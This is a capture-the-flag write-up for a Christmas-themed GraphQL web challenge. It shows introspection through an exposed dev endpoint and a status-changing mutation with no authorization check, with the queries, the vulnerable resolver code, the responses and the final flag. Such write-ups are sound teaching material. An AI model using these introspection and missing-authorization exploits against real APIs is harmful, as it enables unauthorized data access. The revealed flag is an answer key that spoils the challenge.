CTF-Writeups

Naughty or Nice - CTF Challenge

Category: Web Exploitation
Difficulty: Easy-Medium

📥 Download Challenge

Download NaughtyOrNice.zip - Try to solve it yourself before reading the writeup!


Challenge Overview:


Steps to Solve

Step 1: Log in as an Elf

The first step is to log in as an elf. The system uses cookies to track the logged-in elf. Players can log in by accessing one of the following URLs:

Once logged in, the server sets a cookie (elf_id) in the browser, allowing further interaction with the API.

Expected Result:
You will receive a message indicating successful login, with a hint about Santa being marked as VIP and protected.


Step 2: Discover the Backdoor Endpoint

Upon logging in, access the /dev/graphql endpoint:

http://localhost:4000/dev/graphql

This endpoint has GraphiQL enabled, allowing for easy exploration of the GraphQL API. Unlike the /graphql endpoint, which disables introspection, the /dev/graphql endpoint allows introspection and exploration of the schema.

Expected Result:
You will be able to interact with the GraphQL API using GraphiQL.


Step 3: Explore the GraphQL Schema

Use the introspection query to retrieve information about the available types, queries, and mutations in the schema.

query Introspection {
  __schema {
    queryType { name }
    mutationType { name }
    types {
      name
      fields { name }
    }
  }
}

The introspection query will reveal:


Step 4: Search for Santa Claus

The searchChild query has a vulnerability: it always includes children with the status of VIP in the search results, regardless of the query input.

query {
  searchChild(name: "") {
    id
    name
    status
    privateNotes
    sanctionLetter
  }
}

This query will return all children, including Santa Claus (who is marked as VIP). Although his sanctionLetter is initially null, we can still retrieve his data.

Expected Result:
The response will include Santa Claus as part of the results, with his privateNotes visible but sanctionLetter set to null.


Step 5: Exploit the Vulnerability

The updateChildStatus mutation has a critical vulnerability. There are no checks to verify if the logged-in elf is authorized to modify the status of a child. This means any elf can modify the status of any child, including Santa Claus.

The mutation is as follows:

updateChildStatus: ({ id, status }, context) => {
  const elf = requireElf(context); // Requires a logged-in elf.
  const child = findChildById(id);
  if (!child) {
    throw new Error('Child not found');
  }

  // No role or ownership check – **any elf** can change any child's status.
  child.status = status;

  return serializeChild(child);
}

Since there is no role-based access control (RBAC), any elf can update Santa’s status to "NAUGHTY", thus exposing his sanctionLetter.

Exploit: Change Santa’s Status to NAUGHTY

Execute the following mutation:

mutation {
  updateChildStatus(id: "20251225", status: NAUGHTY) {
    id
    name
    status
  }
}

Expected Result:
The response should show Santa Claus with the updated status: NAUGHTY.


Step 6: Retrieve the Flag

After changing Santa’s status to NAUGHTY, run the searchChild query again:

query {
  searchChild(name: "") {
    id
    name
    status
    sanctionLetter
  }
}

This time, Santa’s sanctionLetter is exposed:

{
  "id": "20251225",
  "name": "Santa Claus",
  "status": "NAUGHTY",
  "sanctionLetter": "KIB{n0rth_p0l3_9r4phql_h1j4ck}"
}

The sanction letter contains the flag: KIB{n0rth_p0l3_9r4phql_h1j4ck}.


Vulnerabilities Exploited

1. Missing Ownership/Role Checks

2. Insecure Search Functionality